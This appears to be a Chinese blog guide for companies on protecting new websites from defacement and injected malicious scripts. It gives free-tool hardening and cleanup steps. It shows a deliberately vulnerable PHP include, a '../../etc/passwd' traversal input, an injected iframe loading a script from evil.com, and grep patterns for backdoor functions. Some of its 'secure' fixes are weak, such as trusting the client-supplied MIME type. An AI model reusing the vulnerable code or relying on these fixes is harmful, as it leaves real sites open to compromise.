公司做网站的申请:3步用免费工具防黑客挂马
上周半夜接到客户电话,声音都在抖:“网站首页怎么变成博彩广告了?后台进不去了!” 这就是网站被黑挂马不知道怎么办的典型场景,很多新手老板第一反应是删代码、重装系统,结果越弄越乱。 别慌,今天聊聊公司做网站的申请流程中极易被忽视的安全盲区,教你用免费工具搞定防护。
威胁场景:为什么你的新站容易被盯上
很多企业在完成公司做网站的申请、域名备案和服务器部署后,觉得只要网站能打开就算大功告成。 大错特错。黑客扫描器24小时在网络上跑,专门找那些新上线、配置粗糙的网站下手。 常见的攻击场景有三个:
1. 弱口令爆破
默认后台账号密码没改,或者用了 admin/123456 这种弱密码。
黑客用字典库爆破,几分钟就能进后台,直接替换首页文件。
2. 上传漏洞利用
网站有文件上传功能(比如Logo、图片),但没限制文件类型。
黑客上传一个 .php 后门文件,直接执行恶意代码,植入挂马脚本。
3. 依赖组件漏洞 使用的 CMS 系统、插件或 PHP 版本太老,存在已知 CVE 漏洞。 黑客利用这些漏洞无需登录即可执行命令,窃取数据或篡改页面。
关键点:新网站就像刚搬进新家,门锁没换、窗户没关,小偷最容易光顾。 在公司做网站的申请初期,就要把安全架构搭好,而不是等被黑后再补救。
漏洞原理:黑客是怎么挂马的
理解原理才能防住。以最常见的 PHP 文件包含漏洞 为例。
漏洞代码示例(危险写法):
// 危险代码:直接拼接用户输入到文件路径
$page = $_GET['page'];
include($page . ".php");
原理分析:
- 用户访问
index.php?page=../../etc/passwd - 服务器执行
include("../../etc/passwd.php") - 如果路径可控,黑客可以包含任意文件,甚至写入后门。
挂马流程:
- 黑客利用漏洞上传
shell.php到网站目录 - 修改
.htaccess或nginx.conf,让某些请求指向后门 - 当正常用户访问网站时,页面中插入
<iframe src="http://evil.com/hack.js"></iframe> - 用户浏览器加载恶意脚本,跳转到博彩、色情网站
- Google 收录异常,网站被标记为“不安全”,流量暴跌
注意:挂马不一定删你文件,而是“寄生”在正常页面里,肉眼很难发现。 这就是为什么很多老板说“网站看着正常,但谷歌搜索显示不安全”。
防护方案:用免费工具构建防线
别以为安全就得买昂贵的 WAF。其实很多免费工具就能解决 80% 的问题。 在公司做网站的申请和部署阶段,按以下步骤操作:
1. 强制 HTTPS:SSL 证书不是可选的
证书有效期与年审:
- 免费 SSL 证书(如 Let's Encrypt)有效期仅 90 天
- 必须配置自动续签,否则过期后浏览器会提示“不安全”
- 企业级 OV/EV 证书有效期 1 年,需提前 30 天申请续签
证书变更与注销流程:
- 域名转让:旧证书无法直接变更,需重新申请新证书
- 服务器更换:IP 变化不影响证书,但需重新部署私钥
- 注销证书:在 CA 控制台操作,防止证书泄露后被恶意使用
实操配置(Nginx + Let's Encrypt):
# 安装 certbot
sudo apt-get install certbot python3-certbot-nginx# 自动申请并配置 HTTPS
sudo certbot --nginx -d yourdomain.com -d www.yourdomain.com# 测试自动续签
sudo certbot renew --dry-run
修复对比代码:
# 错误配置:HTTP 和 HTTPS 都开放
server {listen 80;listen 443 ssl;server_name yourdomain.com;
}# 正确配置:强制跳转 HTTPS
server {listen 80;server_name yourdomain.com;return 301 https://$host$request_uri;
}server {listen 443 ssl http2;server_name yourdomain.com;ssl_certificate /etc/letsencrypt/live/yourdomain.com/fullchain.pem;ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
}
2. 文件上传加固:白名单机制
漏洞修复对比代码:
// 危险代码:只检查扩展名
if (pathinfo($_FILES['logo']['name'], PATHINFO_EXTENSION) == 'jpg') {move_uploaded_file($_FILES['logo']['tmp_name'], $target);
}// 安全代码:白名单 + MIME 验证 + 重命名
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$extension = pathinfo($_FILES['logo']['name'], PATHINFO_EXTENSION);
$mime = $_FILES['logo']['type'];if (!in_array($mime, $allowed_types) || !in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {die("Invalid file type");
}// 重新生成文件名,避免覆盖或执行
$new_name = uniqid('logo_') . '.' . $extension;
move_uploaded_file($_FILES['logo']['tmp_name'], '/uploads/' . $new_name);
关键措施:
- 上传目录禁止执行权限:
chmod 755 /uploads && chmod 644 /uploads/* - Nginx 配置禁止 PHP 执行:
location /uploads/ {# 禁止 PHP 执行if ($request_uri ~* \.(php|php5)$) {return 403;}
}
3. 使用 Google Search Console 监控异常
免费工具:Google Search Console (GSC)
- 提交网站,获取结构化数据报告
- 监控“手动操作”和“黑帽 SEO”警报
- 查看索引状态,发现异常页面立即处理
操作步骤:
- 访问 search.google.com/search-console
- 添加资源,验证所有权(DNS 或 HTML 标签)
- 定期检查“安全”标签,如有警告立即提交重新审查
- 监控“站点地图”提交状态,确保爬虫能正常抓取
检测与修复:被挂了马怎么办
如果已经发现网站被挂马,按以下步骤处理:
1. 隔离环境
- 立即将网站从生产服务器移到隔离服务器
- 备份所有文件、数据库、日志
- 不要直接在生产环境修改,避免二次感染
2. 查找后门文件
使用免费工具 find 命令查找最近修改的文件:
# 查找最近 7 天内修改的 PHP 文件
find /var/www/html -name "*.php" -mtime -7 -ls# 查找包含可疑字符串的文件
grep -r "eval\|base64_decode\|assert\|system\|exec" /var/www/html --include="*.php"
常见后门特征:
- 文件头部有
<?php /* ... */ ?>注释,内含恶意代码 - 文件权限异常(如 777)
- 文件名看似正常,但内容被混淆
3. 清除恶意代码
- 删除可疑文件
- 清理数据库中的恶意内容(如管理员密码被改、插入垃圾链接)
- 修改所有数据库连接密码、FTP 密码、后台账号密码
4. 重新部署与验证
- 从干净备份重新部署网站
- 应用所有安全补丁
- 使用在线工具检测(如 VirusTotal、Sucuri SiteCheck)
- 提交 Google Search Console 重新审查请求
安全加固清单:上线前必查项
在公司做网站的申请完成后、正式上线前,逐项检查:
| 检查项 | 状态 | 说明 |
|---|---|---|
| SSL 证书已安装 | ✅ | 强制 HTTPS,启用 HSTS |
| 后台路径已隐藏 | ✅ | 非默认路径,如 /admin-panel |
| 弱口令已更换 | ✅ | 复杂密码 + 二次验证 |
| 文件上传已加固 | ✅ | 白名单 + MIME 验证 + 重命名 |
| 目录执行权限已关闭 | ✅ | 上传目录禁止 PHP 执行 |
| 日志监控已配置 | ✅ | 记录访问日志,定期分析 |
| 备份策略已实施 | ✅ | 每日自动备份,异地存储 |
| Google Search Console 已接入 | ✅ | 监控安全警报和索引状态 |
| 依赖组件已更新 | ✅ | CMS、插件、PHP 版本均为最新稳定版 |
| 防火墙规则已配置 | ✅ | 限制 IP 访问,屏蔽恶意 IP |
额外建议:
- 使用 Cloudflare 等 CDN 服务,提供基础 DDoS 防护
- 定期扫描漏洞(可用 OWASP ZAP 免费工具)
- 建立应急响应预案,明确谁负责、如何操作
结语
网站安全不是一次性工作,而是持续的过程。 在公司做网站的申请阶段就把安全考虑进去,成本远低于被黑后的修复成本。 记住:免费工具 + 正确配置 + 持续监控,就能挡住 90% 的攻击。
你踩过哪些建站的坑?评论区交流,一起避坑。